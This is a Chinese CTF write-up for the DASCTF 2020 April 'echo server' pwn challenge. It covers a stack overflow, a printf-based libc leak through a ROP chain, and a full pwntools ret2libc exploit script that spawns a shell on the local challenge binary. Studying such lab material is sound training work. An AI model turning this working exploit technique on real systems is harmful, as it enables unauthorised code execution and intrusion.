DASCTF 2020安恒月赛 4月 pwn1---echo server题解

学到了利用printf泄露libc,以前都只会puts…

0x1 checksec:

DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第1张图片

0x2 拖进ida:

DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第2张图片

显然进入sub_4006A7(): 厉害了自定义写入长度,明显的栈溢出
DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第3张图片

0x88个’a’可覆盖返回地址:
DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第4张图片

0x3 无system、’/bin/sh’

泄露libc来做

DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第5张图片

0x4 printf泄露地址的详解(选择泄露__libc_start_main):

不知道ROP链怎么写,直接去程序里找汇编代码现学!!

发现程序最后的printf(“hello %s”, &s);
到gdb里看看:(瞎输了12和aaa)
DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第6张图片

先看rsi的内容是什么呢:
DASCTF 2020安恒月赛 4月 pwn1---echo server题解_第7张图片
明显是我输入的 ‘aaa\n’,所以推断rsi里面存放打印的内容

rdi 取的是0x400875,gdb里查看不了了,去ida里看:在这里插入图片描述
显然可推断rdi 里存format

然后最后还有一个给eax置0的
故得出payload1 = ‘a’*0x88 + p64(pop_rdi) + p64(0x400875) + p64(pop2) + p64(libc_start_main_got) + p64(0) + p64(printf_plt) + p64(_start) #pop2找个包含pop rsi的pop 两个的gadget即可

0x5 exp:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
p = process('./test')
#libc = ELF('./libc.so.6')
elf = ELF('./test')

pop6 = 0x040081A
mov3 = 0x0400800
pop_rdi = 0x400823
pop_r15 = 0x0400822
printf_plt = elf.plt['printf']
libc_start_addr = elf.got['__libc_start_main']
s_addr = 0x0400875 #hello %s
#0x0000000000400821 : pop rsi ; pop r15 ; ret
pop2 = 0x0000000000400821
main = 0x04005C0
p.sendlineafter("name: ", str(0x200))

payload1 = 'a'*136 + p64(pop_rdi) + p64(s_addr) + p64(pop2) + p64(libc_start_addr) + p64(0) + p64(printf_plt) + p64(main)
p.sendlineafter("name? ", payload1)
p.recvuntil("hello")
p.recvuntil("hello\x20")
addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
print hex(addr)

libc = LibcSearcher('__libc_start_main', addr)
libc_base = addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')
print "libc base:", hex(libc_base)
print "system:", hex(system_addr)
print "bin_sh:", hex(sh_addr)

p.sendline(str(0x200))

payload3 = 'a'*136 + p64(0x04007b0) + p64(pop_rdi) + p64(sh_addr) + p64(system_addr)
p.sendline(payload3)
p.interactive()

你可能感兴趣的:(BUUCTF,PWN刷题)